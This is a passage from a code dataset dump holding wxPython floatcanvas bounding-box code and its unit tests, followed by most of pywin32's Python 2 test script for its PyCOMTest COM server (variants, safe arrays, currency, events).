self.failUnless( (self.B1 == self.B2) == True )\n \n def testNotEquals(self):\n print (self.B1 == self.B3) == False\n self.failUnless ( (self.B1 == self.B3) == False,\n \"NotEquals failed for\\n%s,\\n %s:%s\"%(self.B1, self.B3, (self.B1 == self.B3)) ) \n\n def testNotEquals2(self):\n self.failUnless ( (self.B3 == self.B1) == False,\n \"NotEquals failed for\\n%s,\\n %s:%s\"%(self.B3, self.B1, (self.B3 == self.B1)) ) \n \n def testMerge(self):\n C = self.B1.copy()\n C.Merge(self.B3)\n self.failUnless( C == self.B2,\n \"merge failed, got: %s\"%C )\n\n def testMerge2(self):\n C = self.B3.copy()\n C.Merge(self.B1)\n self.failUnless( C == self.B1,\n \"merge failed, got: %s\"%C )\n\n def testOverlaps(self):\n self.failUnless( self.B1.Overlaps(self.B2) == True)\n\n def testOverlaps2(self):\n self.failUnless( self.B3.Overlaps(self.B1) == True)\n \n def testOverlaps3(self):\n self.failUnless( self.B1.Overlaps(self.B3) == True)\n\n def testOverlaps4(self):\n self.failUnless( self.B1.Overlaps(self.NB) == True)\n\n def testOverlaps5(self):\n self.failUnless( self.NB.Overlaps(self.B1) == True)\n \n\nclass testSides(unittest.TestCase):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n\n def testLeft(self):\n self.failUnless( self.B.Left == 1.0 ) \n def testRight(self):\n self.failUnless( self.B.Right == 5.0 ) \n def testBottom(self):\n self.failUnless( self.B.Bottom == 2.0 ) \n def testTop(self):\n self.failUnless( self.B.Top == 10.0 ) \n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "1339916", "language": "Python", "matching_score": 3.415262460708618, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/floatcanvas/Utilities/BBoxTest.py" }, { "content": "#!/usr/bin/env python\n\n\"\"\"\nA Bounding Box object and assorted utilities , subclassed from a numpy array\n\n\"\"\"\n\nimport numpy as N\n\nclass BBox(N.ndarray):\n \"\"\"\n A Bounding Box object:\n \n Takes Data as an array. Data is any python sequence that can be turned into a \n 2x2 numpy array of floats:\n\n [[MinX, MinY ],\n [MaxX, MaxY ]]\n\n It is a subclass of numpy.ndarray, so for the most part it can be used as \n an array, and arrays that fit the above description can be used in its place.\n \n Usually created by the factory functions:\n \n asBBox\n \n and \n \n fromPoints\n \n \"\"\"\n def __new__(subtype, data):\n \"\"\"\n Takes Data as an array. Data is any python sequence that can be turned into a \n 2x2 numpy array of floats:\n\n [[MinX, MinY ],\n [MaxX, MaxY ]]\n\n You don't usually call this directly. BBox objects are created with the factory functions:\n \n asBBox\n \n and \n \n fromPoints\n\n \"\"\"\n arr = N.array(data, N.float)\n arr.shape = (2,2)\n if arr[0,0] > arr[1,0] or arr[0,1] > arr[1,1]:\n # note: zero sized BB OK.\n raise ValueError(\"BBox values not aligned: \\n minimum values must be less that maximum values\")\n return N.ndarray.__new__(BBox, shape=arr.shape, dtype=arr.dtype, buffer=arr)\n\n def Overlaps(self, BB):\n \"\"\"\n Overlap(BB):\n\n Tests if the given Bounding Box overlaps with this one.\n Returns True is the Bounding boxes overlap, False otherwise\n If they are just touching, returns True\n \"\"\"\n\n if N.isinf(self).all() or N.isinf(BB).all():\n return True\n if ( (self[1,0] >= BB[0,0]) and (self[0,0] <= BB[1,0]) and\n (self[1,1] >= BB[0,1]) and (self[0,1] <= BB[1,1]) ):\n return True\n else:\n return False\n\n def Inside(self, BB):\n \"\"\"\n Inside(BB):\n\n Tests if the given Bounding Box is entirely inside this one.\n\n Returns True if it is entirely inside, or touching the\n border.\n\n Returns False otherwise\n \"\"\"\n if ( (BB[0,0] >= self[0,0]) and (BB[1,0] <= self[1,0]) and\n (BB[0,1] >= self[0,1]) and (BB[1,1] <= self[1,1]) ):\n return True\n else:\n return False\n \n def PointInside(self, Point):\n \"\"\"\n Inside(BB):\n\n Tests if the given Point is entirely inside this one.\n\n Returns True if it is entirely inside, or touching the\n border.\n\n Returns False otherwise\n \n Point is any length-2 sequence (tuple, list, array) or two numbers\n \"\"\"\n if Point[0] >= self[0,0] and \\\n Point[0] <= self[1,0] and \\\n Point[1] <= self[1,1] and \\\n Point[1] >= self[0,1]:\n return True\n else:\n return False\n \n def Merge(self, BB):\n \"\"\"\n Joins this bounding box with the one passed in, maybe making this one bigger\n\n \"\"\" \n if self.IsNull():\n self[:] = BB\n elif N.isnan(BB).all(): ## BB may be a regular array, so I can't use IsNull\n pass\n else:\n if BB[0,0] < self[0,0]: self[0,0] = BB[0,0]\n if BB[0,1] < self[0,1]: self[0,1] = BB[0,1]\n if BB[1,0] > self[1,0]: self[1,0] = BB[1,0]\n if BB[1,1] > self[1,1]: self[1,1] = BB[1,1]\n \n return None\n \n def IsNull(self):\n return N.isnan(self).all()\n\n ## fixme: it would be nice to add setter, too.\n def _getLeft(self):\n return self[0,0]\n Left = property(_getLeft)\n def _getRight(self):\n return self[1,0]\n Right = property(_getRight)\n def _getBottom(self):\n return self[0,1]\n Bottom = property(_getBottom)\n def _getTop(self):\n return self[1,1]\n Top = property(_getTop)\n\n def _getWidth(self):\n return self[1,0] - self[0,0]\n Width = property(_getWidth)\n\n def _getHeight(self):\n return self[1,1] - self[0,1]\n Height = property(_getHeight)\n \n def _getCenter(self):\n return self.sum(0) / 2.0\n Center = property(_getCenter)\n ### This could be used for a make BB from a bunch of BBs\n\n #~ def _getboundingbox(bboxarray): # lrk: added this\n #~ # returns the bounding box of a bunch of bounding boxes\n #~ upperleft = N.minimum.reduce(bboxarray[:,0])\n #~ lowerright = N.maximum.reduce(bboxarray[:,1])\n #~ return N.array((upperleft, lowerright), N.float)\n #~ _getboundingbox = staticmethod(_getboundingbox)\n\n\n ## Save the ndarray __eq__ for internal use.\n Array__eq__ = N.ndarray.__eq__\n def __eq__(self, BB):\n \"\"\"\n __eq__(BB) The equality operator\n\n A == B if and only if all the entries are the same\n\n \"\"\"\n if self.IsNull() and N.isnan(BB).all(): ## BB may be a regular array, so I can't use IsNull\n return True\n else:\n return self.Array__eq__(BB).all()\n \n \ndef asBBox(data):\n \"\"\"\n returns a BBox object.\n\n If object is a BBox, it is returned unaltered\n\n If object is a numpy array, a BBox object is returned that shares a\n view of the data with that array. The numpy array should be of the correct\n format: a 2x2 numpy array of floats:\n\n [[MinX, MinY ],\n [MaxX, MaxY ]]\n \n \"\"\"\n\n if isinstance(data, BBox):\n return data\n arr = N.asarray(data, N.float)\n return N.ndarray.__new__(BBox, shape=arr.shape, dtype=arr.dtype, buffer=arr)\n\ndef fromPoints(Points):\n \"\"\"\n fromPoints (Points).\n\n reruns the bounding box of the set of points in Points. Points can\n be any python object that can be turned into a numpy NX2 array of Floats.\n\n If a single point is passed in, a zero-size Bounding Box is returned.\n \n \"\"\"\n Points = N.asarray(Points, N.float).reshape(-1,2)\n\n arr = N.vstack( (Points.min(0), Points.max(0)) )\n return N.ndarray.__new__(BBox, shape=arr.shape, dtype=arr.dtype, buffer=arr)\n\ndef fromBBArray(BBarray):\n \"\"\"\n Builds a BBox object from an array of Bounding Boxes. \n The resulting Bounding Box encompases all the included BBs.\n \n The BBarray is in the shape: (Nx2x2) where BBarray[n] is a 2x2 array that represents a BBox\n \"\"\"\n \n #upperleft = N.minimum.reduce(BBarray[:,0])\n #lowerright = N.maximum.reduce(BBarray[:,1])\n\n# BBarray = N.asarray(BBarray, N.float).reshape(-1,2)\n# arr = N.vstack( (BBarray.min(0), BBarray.max(0)) )\n BBarray = N.asarray(BBarray, N.float).reshape(-1,2,2)\n arr = N.vstack( (BBarray[:,0,:].min(0), BBarray[:,1,:].max(0)) )\n return asBBox(arr)\n #return asBBox( (upperleft, lowerright) ) * 2\n \ndef NullBBox():\n \"\"\"\n Returns a BBox object with all NaN entries.\n \n This represents a Null BB box;\n \n BB merged with it will return BB.\n \n Nothing is inside it.\n\n \"\"\"\n\n arr = N.array(((N.nan, N.nan),(N.nan, N.nan)), N.float)\n return N.ndarray.__new__(BBox, shape=arr.shape, dtype=arr.dtype, buffer=arr)\n\ndef InfBBox():\n \"\"\"\n Returns a BBox object with all -inf and inf entries\n\n \"\"\"\n\n arr = N.array(((-N.inf, -N.inf),(N.inf, N.inf)), N.float)\n return N.ndarray.__new__(BBox, shape=arr.shape, dtype=arr.dtype, buffer=arr)\n\n \n ", "id": "9092614", "language": "Python", "matching_score": 0.6189230680465698, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/floatcanvas/Utilities/BBox.py" }, { "content": "# NOTE - Still seems to be a leak here somewhere\n# gateway count doesnt hit zero. Hence the print statements!\n\nimport sys; sys.coinit_flags=0 # Must be free-threaded!\nimport win32api, pythoncom, time\nimport pywintypes\nimport os\nimport winerror\nimport win32com\nimport win32com.client.connect\nfrom win32com.test.util import CheckClean\nfrom win32com.client import constants, DispatchBaseClass, CastTo, VARIANT\nfrom win32com.test.util import RegisterPythonServer\nfrom pywin32_testutil import str2memory\nimport datetime\nimport decimal\nimport win32timezone\n\nimportMsg = \"**** PyCOMTest is not installed ***\\n PyCOMTest is a Python test specific COM client and server.\\n It is likely this server is not installed on this machine\\n To install the server, you must get the win32com sources\\n and build it using MS Visual C++\"\n\nerror = Exception\n\n# This test uses a Python implemented COM server - ensure correctly registered.\nRegisterPythonServer(os.path.join(os.path.dirname(__file__), '..', \"servers\", \"test_pycomtest.py\"),\n \"Python.Test.PyCOMTest\")\n\nfrom win32com.client import gencache\ntry:\n gencache.EnsureModule('{6BCDCB60-5605-11D0-AE5F-CADD4C000000}', 0, 1, 1)\nexcept pythoncom.com_error:\n print \"The PyCOMTest module can not be located or generated.\"\n print importMsg\n raise RuntimeError(importMsg)\n\n# We had a bg where RegisterInterfaces would fail if gencache had\n# already been run - exercise that here\nfrom win32com import universal\nuniversal.RegisterInterfaces('{6BCDCB60-5605-11D0-AE5F-CADD4C000000}', 0, 1, 1)\n\nverbose = 0\n\n# convert a normal int to a long int - used to avoid, eg, '1L' for py3k\n# friendliness\ndef ensure_long(int_val):\n if sys.version_info > (3,):\n # py3k - no such thing as a 'long'\n return int_val\n # on py2x, we just use an expression that results in a long\n return 0x100000000-0x100000000+int_val\n\ndef check_get_set(func, arg):\n got = func(arg)\n if got != arg:\n raise error(\"%s failed - expected %r, got %r\" % (func, arg, got))\n\ndef check_get_set_raises(exc, func, arg):\n try:\n got = func(arg)\n except exc, e:\n pass # what we expect!\n else:\n raise error(\"%s with arg %r didn't raise %s - returned %r\" % (func, arg, exc, got))\n\ndef progress(*args):\n if verbose:\n for arg in args:\n print arg,\n print\n\ndef TestApplyResult(fn, args, result):\n try:\n fnName = str(fn).split()[1]\n except:\n fnName = str(fn)\n progress(\"Testing \", fnName)\n pref = \"function \" + fnName\n rc = fn(*args)\n if rc != result:\n raise error(\"%s failed - result not %r but %r\" % (pref, result, rc))\n\ndef TestConstant(constName, pyConst):\n try:\n comConst = getattr(constants, constName)\n except:\n raise error(\"Constant %s missing\" % (constName,))\n if comConst != pyConst:\n raise error(\"Constant value wrong for %s - got %s, wanted %s\" % (constName, comConst, pyConst))\n\n# Simple handler class. This demo only fires one event.\nclass RandomEventHandler:\n def _Init(self):\n self.fireds = {}\n def OnFire(self, no):\n try:\n self.fireds[no] = self.fireds[no] + 1\n except KeyError:\n self.fireds[no] = 0\n def OnFireWithNamedParams(self, no, a_bool, out1, out2):\n # This test exists mainly to help with an old bug, where named\n # params would come in reverse.\n Missing = pythoncom.Missing\n if no is not Missing:\n # We know our impl called 'OnFire' with the same ID\n assert no in self.fireds\n assert no+1==out1, \"expecting 'out1' param to be ID+1\"\n assert no+2==out2, \"expecting 'out2' param to be ID+2\"\n # The middle must be a boolean.\n assert a_bool is Missing or type(a_bool)==bool, \"middle param not a bool\"\n return out1+2, out2+2\n\n def _DumpFireds(self):\n if not self.fireds:\n print \"ERROR: Nothing was received!\"\n for firedId, no in self.fireds.iteritems():\n progress(\"ID %d fired %d times\" % (firedId, no))\n\n# A simple handler class that derives from object (ie, a \"new style class\") -\n# only relevant for Python 2.x (ie, the 2 classes should be identical in 3.x)\nclass NewStyleRandomEventHandler(object):\n def _Init(self):\n self.fireds = {}\n def OnFire(self, no):\n try:\n self.fireds[no] = self.fireds[no] + 1\n except KeyError:\n self.fireds[no] = 0\n def OnFireWithNamedParams(self, no, a_bool, out1, out2):\n # This test exists mainly to help with an old bug, where named\n # params would come in reverse.\n Missing = pythoncom.Missing\n if no is not Missing:\n # We know our impl called 'OnFire' with the same ID\n assert no in self.fireds\n assert no+1==out1, \"expecting 'out1' param to be ID+1\"\n assert no+2==out2, \"expecting 'out2' param to be ID+2\"\n # The middle must be a boolean.\n assert a_bool is Missing or type(a_bool)==bool, \"middle param not a bool\"\n return out1+2, out2+2\n\n def _DumpFireds(self):\n if not self.fireds:\n print \"ERROR: Nothing was received!\"\n for firedId, no in self.fireds.iteritems():\n progress(\"ID %d fired %d times\" % (firedId, no))\n\n\n# Test everything which can be tested using both the \"dynamic\" and \"generated\"\n# COM objects (or when there are very subtle differences)\ndef TestCommon(o, is_generated):\n progress(\"Getting counter\")\n counter = o.GetSimpleCounter()\n TestCounter(counter, is_generated)\n\n progress(\"Checking default args\")\n rc = o.TestOptionals()\n if rc[:-1] != (\"def\", 0, 1) or abs(rc[-1]-3.14)>.01:\n print rc\n raise error(\"Did not get the optional values correctly\")\n rc = o.TestOptionals(\"Hi\", 2, 3, 1.1)\n if rc[:-1] != (\"Hi\", 2, 3) or abs(rc[-1]-1.1)>.01:\n print rc\n raise error(\"Did not get the specified optional values correctly\")\n rc = o.TestOptionals2(0)\n if rc != (0, \"\", 1):\n print rc\n raise error(\"Did not get the optional2 values correctly\")\n rc = o.TestOptionals2(1.1, \"Hi\", 2)\n if rc[1:] != (\"Hi\", 2) or abs(rc[0]-1.1)>.01:\n print rc\n raise error(\"Did not get the specified optional2 values correctly\")\n\n progress(\"Checking getting/passing IUnknown\")\n check_get_set(o.GetSetUnknown, o)\n progress(\"Checking getting/passing IDispatch\")\n if not isinstance(o.GetSetDispatch(o), o.__class__):\n raise error(\"GetSetDispatch failed: %r\" % (o.GetSetDispatch(o),))\n progress(\"Checking getting/passing IDispatch of known type\")\n if o.GetSetInterface(o).__class__ != o.__class__:\n raise error(\"GetSetDispatch failed\")\n\n progress(\"Checking misc args\")\n check_get_set(o.GetSetVariant, 4)\n check_get_set(o.GetSetVariant, \"foo\")\n check_get_set(o.GetSetVariant, o)\n\n # signed/unsigned.\n check_get_set(o.GetSetInt, 0)\n check_get_set(o.GetSetInt, -1)\n check_get_set(o.GetSetInt, 1)\n\n check_get_set(o.GetSetUnsignedInt, 0)\n check_get_set(o.GetSetUnsignedInt, 1)\n check_get_set(o.GetSetUnsignedInt, 0x80000000)\n if o.GetSetUnsignedInt(-1) != 0xFFFFFFFF:\n # -1 is a special case - we accept a negative int (silently converting to\n # unsigned) but when getting it back we convert it to a long.\n raise error(\"unsigned -1 failed\")\n\n check_get_set(o.GetSetLong, 0)\n check_get_set(o.GetSetLong, -1)\n check_get_set(o.GetSetLong, 1)\n\n check_get_set(o.GetSetUnsignedLong, 0)\n check_get_set(o.GetSetUnsignedLong, 1)\n check_get_set(o.GetSetUnsignedLong, 0x80000000)\n # -1 is a special case - see above.\n if o.GetSetUnsignedLong(-1) != 0xFFFFFFFF:\n raise error(\"unsigned -1 failed\")\n\n # We want to explicitly test > 32 bits. py3k has no 'maxint' and\n # 'maxsize+1' is no good on 64bit platforms as its 65 bits!\n big = 2147483647 # sys.maxint on py2k\n for l in big, big+1, 1 << 65:\n check_get_set(o.GetSetVariant, l)\n\n progress(\"Checking structs\")\n r = o.GetStruct()\n assert r.int_value == 99 and str(r.str_value)==\"Hello from C++\"\n assert o.DoubleString(\"foo\") == \"foofoo\"\n\n progress(\"Checking var args\")\n o.SetVarArgs(\"Hi\", \"There\", \"From\", \"Python\", 1)\n if o.GetLastVarArgs() != (\"Hi\", \"There\", \"From\", \"Python\", 1):\n raise error(\"VarArgs failed -\" + str(o.GetLastVarArgs()))\n\n progress(\"Checking arrays\")\n l=[]\n TestApplyResult(o.SetVariantSafeArray, (l,), len(l))\n l=[1,2,3,4]\n TestApplyResult(o.SetVariantSafeArray, (l,), len(l))\n TestApplyResult(o.CheckVariantSafeArray, ((1,2,3,4,),), 1)\n\n # and binary\n TestApplyResult(o.SetBinSafeArray, (str2memory('foo\\0bar'),), 7)\n\n progress(\"Checking properties\")\n o.LongProp = 3\n if o.LongProp != 3 or o.IntProp != 3:\n raise error(\"Property value wrong - got %d/%d\" % (o.LongProp,o.IntProp))\n o.LongProp = o.IntProp = -3\n if o.LongProp != -3 or o.IntProp != -3:\n raise error(\"Property value wrong - got %d/%d\" % (o.LongProp,o.IntProp))\n # This number fits in an unsigned long. Attempting to set it to a normal\n # long will involve overflow, which is to be expected. But we do\n # expect it to work in a property explicitly a VT_UI4.\n check = 3 *10 **9\n o.ULongProp = check\n if o.ULongProp != check:\n raise error(\"Property value wrong - got %d (expected %d)\" % (o.ULongProp, check))\n\n TestApplyResult(o.Test, (\"Unused\", 99), 1) # A bool function\n TestApplyResult(o.Test, (\"Unused\", -1), 1) # A bool function\n TestApplyResult(o.Test, (\"Unused\", 1==1), 1) # A bool function\n TestApplyResult(o.Test, (\"Unused\", 0), 0)\n TestApplyResult(o.Test, (\"Unused\", 1==0), 0)\n\n assert o.DoubleString(\"foo\") == \"foofoo\"\n\n TestConstant(\"ULongTest1\", ensure_long(0xFFFFFFFF))\n TestConstant(\"ULongTest2\", ensure_long(0x7FFFFFFF))\n TestConstant(\"LongTest1\", ensure_long(-0x7FFFFFFF))\n TestConstant(\"LongTest2\", ensure_long(0x7FFFFFFF))\n TestConstant(\"UCharTest\", 255)\n TestConstant(\"CharTest\", -1)\n # 'Hello Loraine', but the 'r' is the \"Registered\" sign (\\xae)\n TestConstant(\"StringTest\", u\"Hello Lo\\xaeaine\")\n\n progress(\"Checking dates and times\")\n if issubclass(pywintypes.TimeType, datetime.datetime):\n # For now *all* times passed must be tz-aware.\n now = win32timezone.now()\n # but conversion to and from a VARIANT loses sub-second...\n now = now.replace(microsecond=0)\n later = now + datetime.timedelta(seconds=1)\n TestApplyResult(o.EarliestDate, (now, later), now)\n else:\n # old PyTime object\n now = pythoncom.MakeTime(time.gmtime(time.time()))\n later = pythoncom.MakeTime(time.gmtime(time.time()+1))\n TestApplyResult(o.EarliestDate, (now, later), now)\n # But it can still *accept* tz-naive datetime objects...\n now = datetime.datetime.now()\n expect = pythoncom.MakeTime(now)\n TestApplyResult(o.EarliestDate, (now, now), expect)\n\n progress(\"Checking currency\")\n # currency.\n pythoncom.__future_currency__ = 1\n if o.CurrencyProp != 0:\n raise error(\"Expecting 0, got %r\" % (o.CurrencyProp,))\n for val in (\"1234.5678\", \"1234.56\", \"1234\"):\n o.CurrencyProp = decimal.Decimal(val)\n if o.CurrencyProp != decimal.Decimal(val):\n raise error(\"%s got %r\" % (val, o.CurrencyProp))\n v1 = decimal.Decimal(\"1234.5678\")\n TestApplyResult(o.DoubleCurrency, (v1,), v1*2)\n\n v2 = decimal.Decimal(\"9012.3456\")\n TestApplyResult(o.AddCurrencies, (v1, v2), v1+v2)\n\n TestTrickyTypesWithVariants(o, is_generated)\n progress(\"Checking win32com.client.VARIANT\")\n TestPyVariant(o, is_generated)\n\n\ndef TestTrickyTypesWithVariants(o, is_generated):\n # Test tricky stuff with type handling and generally only works with\n # \"generated\" support but can be worked around using VARIANT.\n if is_generated:\n got = o.TestByRefVariant(2)\n else:\n v = VARIANT(pythoncom.VT_BYREF | pythoncom.VT_VARIANT, 2)\n o.TestByRefVariant(v)\n got = v.value\n if got != 4:\n raise error(\"TestByRefVariant failed\")\n\n if is_generated:\n got = o.TestByRefString(\"Foo\")\n else:\n v = VARIANT(pythoncom.VT_BYREF | pythoncom.VT_BSTR, \"Foo\")\n o.TestByRefString(v)\n got = v.value\n if got != \"FooFoo\":\n raise error(\"TestByRefString failed\")\n\n # check we can pass ints as a VT_UI1\n vals=[1,2,3,4]\n if is_generated:\n arg = vals\n else:\n arg = VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_UI1, vals)\n TestApplyResult(o.SetBinSafeArray, (arg,), len(vals))\n\n # safearrays of doubles and floats\n vals = [0, 1.1, 2.2, 3.3]\n if is_generated:\n arg = vals\n else:\n arg = VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_R8, vals)\n TestApplyResult(o.SetDoubleSafeArray, (arg,), len(vals))\n\n if is_generated:\n arg = vals\n else:\n arg = VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_R4, vals)\n TestApplyResult(o.SetFloatSafeArray, (arg,), len(vals))\n\n vals=[1.1, 2.2, 3.3, 4.4]\n expected = (1.1*2, 2.2*2, 3.3*2, 4.4*2)\n if is_generated:\n TestApplyResult(o.ChangeDoubleSafeArray, (vals,), expected)\n else:\n arg = VARIANT(pythoncom.VT_BYREF | pythoncom.VT_ARRAY | pythoncom.VT_R8, vals)\n o.ChangeDoubleSafeArray(arg)\n if arg.value != expected:\n raise error(\"ChangeDoubleSafeArray got the wrong value\")\n\n if is_generated:\n got = o.DoubleInOutString(\"foo\")\n else:\n v = VARIANT(pythoncom.VT_BYREF | pythoncom.VT_BSTR, \"foo\")\n o.DoubleInOutString(v)\n got = v.value\n assert got == \"foofoo\", got\n\n val = decimal.Decimal(\"1234.5678\")\n if is_generated:\n got = o.DoubleCurrencyByVal(val)\n else:\n v = VARIANT(pythoncom.VT_BYREF | pythoncom.VT_CY, val)\n o.DoubleCurrencyByVal(v)\n got = v.value\n assert got == val * 2\n\ndef TestDynamic():\n progress(\"Testing Dynamic\")\n import win32com.client.dynamic\n o = win32com.client.dynamic.DumbDispatch(\"PyCOMTest.PyCOMTest\")\n TestCommon(o, False)\n\n counter = win32com.client.dynamic.DumbDispatch(\"PyCOMTest.SimpleCounter\")\n TestCounter(counter, False)\n\n # Dynamic doesn't know this should be an int, so we get a COM\n # TypeMismatch error.\n try:\n check_get_set_raises(ValueError, o.GetSetInt, \"foo\")\n raise error(\"no exception raised\")\n except pythoncom.com_error, exc:\n if exc.hresult != winerror.DISP_E_TYPEMISMATCH:\n raise\n\n # damn - props with params don't work for dynamic objects :(\n # o.SetParamProp(0, 1)\n # if o.ParamProp(0) != 1:\n # raise RuntimeError, o.paramProp(0)\n\n\ndef TestGenerated():\n # Create an instance of the server.\n from win32com.client.gencache import EnsureDispatch\n o = EnsureDispatch(\"PyCOMTest.PyCOMTest\")\n TestCommon(o, True)\n\n counter = EnsureDispatch(\"PyCOMTest.SimpleCounter\")\n TestCounter(counter, True)\n\n # XXX - this is failing in dynamic tests, but should work fine.\n i1, i2 = o.GetMultipleInterfaces()\n if not isinstance(i1, DispatchBaseClass) or not isinstance(i2, DispatchBaseClass):\n # Yay - is now an instance returned!\n raise error(\"GetMultipleInterfaces did not return instances - got '%s', '%s'\" % (i1, i2))\n del i1\n del i2\n\n # Generated knows to only pass a 32bit int, so should fail.\n check_get_set_raises(OverflowError, o.GetSetInt, 0x80000000)\n check_get_set_raises(OverflowError, o.GetSetLong, 0x80000000)\n\n # Generated knows this should be an int, so raises ValueError\n check_get_set_raises(ValueError, o.GetSetInt, \"foo\")\n check_get_set_raises(ValueError, o.GetSetLong, \"foo\")\n\n # Pass some non-sequence objects to our array decoder, and watch it fail.\n try:\n o.SetVariantSafeArray(\"foo\")\n raise error(\"Expected a type error\")\n except TypeError:\n pass\n try:\n o.SetVariantSafeArray(666)\n raise error(\"Expected a type error\")\n except TypeError:\n pass\n\n o.GetSimpleSafeArray(None)\n TestApplyResult(o.GetSimpleSafeArray, (None,), tuple(range(10)))\n resultCheck = tuple(range(5)), tuple(range(10)), tuple(range(20))\n TestApplyResult(o.GetSafeArrays, (None, None, None), resultCheck)\n\n l=[]\n TestApplyResult(o.SetIntSafeArray, (l,), len(l))\n l=[1,2,3,4]\n TestApplyResult(o.SetIntSafeArray, (l,), len(l))\n ll=[1,2,3,0x100000000]\n TestApplyResult(o.SetLongLongSafeArray, (ll,), len(ll))\n TestApplyResult(o.SetULongLongSafeArray, (ll,), len(ll))\n\n # Tell the server to do what it does!\n TestApplyResult(o.Test2, (constants.Attr2,), constants.Attr2)\n TestApplyResult(o.Test3, (constants.Attr2,), constants.Attr2)\n TestApplyResult(o.Test4, (constants.Attr2,), constants.Attr2)\n TestApplyResult(o.Test5, (constants.Attr2,), constants.Attr2)\n\n TestApplyResult(o.Test6, (constants.WideAttr1,), constants.WideAttr1)\n TestApplyResult(o.Test6, (constants.WideAttr2,), constants.WideAttr2)\n TestApplyResult(o.Test6, (constants.WideAttr3,), constants.WideAttr3)\n TestApplyResult(o.Test6, (constants.WideAttr4,), constants.WideAttr4)\n TestApplyResult(o.Test6, (constants.WideAttr5,), constants.WideAttr5)\n\n o.SetParamProp(0, 1)\n if o.ParamProp(0) != 1:\n raise RuntimeError(o.paramProp(0))\n\n # Make sure CastTo works - even though it is only casting it to itself!\n o2 = CastTo(o, \"IPyCOMTest\")\n if o != o2:\n raise error(\"CastTo should have returned the same object\")\n\n # Do the connection point thing...\n # Create a connection object.\n progress(\"Testing connection points\")\n o2 = win32com.client.DispatchWithEvents(o, RandomEventHandler)\n TestEvents(o2, o2)\n o2 = win32com.client.DispatchWithEvents(o, NewStyleRandomEventHandler)\n TestEvents(o2, o2)\n # and a plain \"WithEvents\".\n handler = win32com.client.WithEvents(o, RandomEventHandler)\n TestEvents(o, handler)\n handler = win32com.client.WithEvents(o, NewStyleRandomEventHandler)\n TestEvents(o, handler)\n progress(\"Finished generated .py test.\")\n\n\ndef TestEvents(o, handler):\n sessions = []\n handler._Init()\n try:\n for i in range(3):\n session = o.Start()\n sessions.append(session)\n time.sleep(.5)\n finally:\n # Stop the servers\n for session in sessions:\n o.Stop(session)\n handler._DumpFireds()\n handler.close()\n\n\ndef _TestPyVariant(o, is_generated, val, checker = None):\n if is_generated:\n vt, got = o.GetVariantAndType(val)\n else:\n # Gotta supply all 3 args with the last 2 being explicit variants to\n # get the byref behaviour.\n var_vt = VARIANT(pythoncom.VT_UI2 | pythoncom.VT_BYREF, 0)\n var_result = VARIANT(pythoncom.VT_VARIANT | pythoncom.VT_BYREF, 0)\n o.GetVariantAndType(val, var_vt, var_result)\n vt = var_vt.value\n got = var_result.value\n if checker is not None:\n checker(got)\n return\n # default checking.\n assert vt == val.varianttype, (vt, val.varianttype)\n # Handle our safe-array test - if the passed value is a list of variants,\n # compare against the actual values.\n if type(val.value) in (tuple, list):\n check = [v.value if isinstance(v, VARIANT) else v for v in val.value]\n # pythoncom always returns arrays as tuples.\n got = list(got)\n else:\n check = val.value\n assert type(check) == type(got), (type(check), type(got))\n assert check == got, (check, got)\n\ndef _TestPyVariantFails(o, is_generated, val, exc):\n try:\n _TestPyVariant(o, is_generated, val)\n raise error(\"Setting %r didn't raise %s\" % (val, exc))\n except exc:\n pass\n\ndef TestPyVariant(o, is_generated):\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_UI1, 1))\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_UI4, [1,2,3]))\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_BSTR, u\"hello\"))\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_BSTR, [u\"hello\", u\"there\"]))\n def check_dispatch(got):\n assert isinstance(got._oleobj_, pythoncom.TypeIIDs[pythoncom.IID_IDispatch])\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_DISPATCH, o), check_dispatch)\n _TestPyVariant(o, is_generated, VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_DISPATCH, [o]))\n # an array of variants each with a specific type.\n v = VARIANT(pythoncom.VT_ARRAY | pythoncom.VT_VARIANT,\n [VARIANT(pythoncom.VT_UI4, 1),\n VARIANT(pythoncom.VT_UI4, 2),\n VARIANT(pythoncom.VT_UI4, 3)\n ]\n )\n _TestPyVariant(o, is_generated, v)\n\n # and failures\n _TestPyVariantFails(o, is_generated, VARIANT(pythoncom.VT_UI1, \"foo\"), ValueError)\n\n\ndef TestCounter(counter, bIsGenerated):\n # Test random access into container\n progress(\"Testing counter\", repr(counter))\n import random\n for i in xrange(50):\n num = int(random.random() * len(counter))\n try:\n # XXX - this appears broken by commit 08a14d4deb374eaa06378509cf44078ad467b9dc -\n # We shouldn't need to do generated differently than dynamic.\n if bIsGenerated:\n ret = counter.Item(num+1)\n else:\n ret = counter[num]\n if ret != num+1:\n raise error(\"Random access into element %d failed - return was %s\" % (num,repr(ret)))\n except IndexError:\n raise error(\"** IndexError accessing collection element %d\" % num)\n\n num = 0\n if bIsGenerated:\n counter.SetTestProperty(1)\n counter.TestProperty = 1 # Note this has a second, default arg.\n counter.SetTestProperty(1,2)\n if counter.TestPropertyWithDef != 0:\n raise error(\"Unexpected property set value!\")\n if counter.TestPropertyNoDef(1) != 1:\n raise error(\"Unexpected property set value!\")\n else:\n pass\n # counter.TestProperty = 1\n\n counter.LBound=1\n counter.UBound=10\n if counter.LBound != 1 or counter.UBound!=10:\n print \"** Error - counter did not keep its properties\"\n\n if bIsGenerated:\n bounds = counter.GetBounds()\n if bounds[0]!=1 or bounds[1]!=10:\n raise error(\"** Error - counter did not give the same properties back\")\n counter.SetBounds(bounds[0], bounds[1])\n\n for item in counter:\n num = num + 1\n if num != len(counter):\n raise error(\"*** Length of counter and loop iterations dont match ***\")\n if num != 10:\n raise error(\"*** Unexpected number of loop iterations ***\")\n\n counter = iter(counter)._iter_.Clone() # Test Clone() and enum directly\n counter.Reset()\n num = 0\n for item in counter:\n num = num + 1\n if num != 10:\n raise error(\"*** Unexpected number of loop iterations - got %d ***\" % 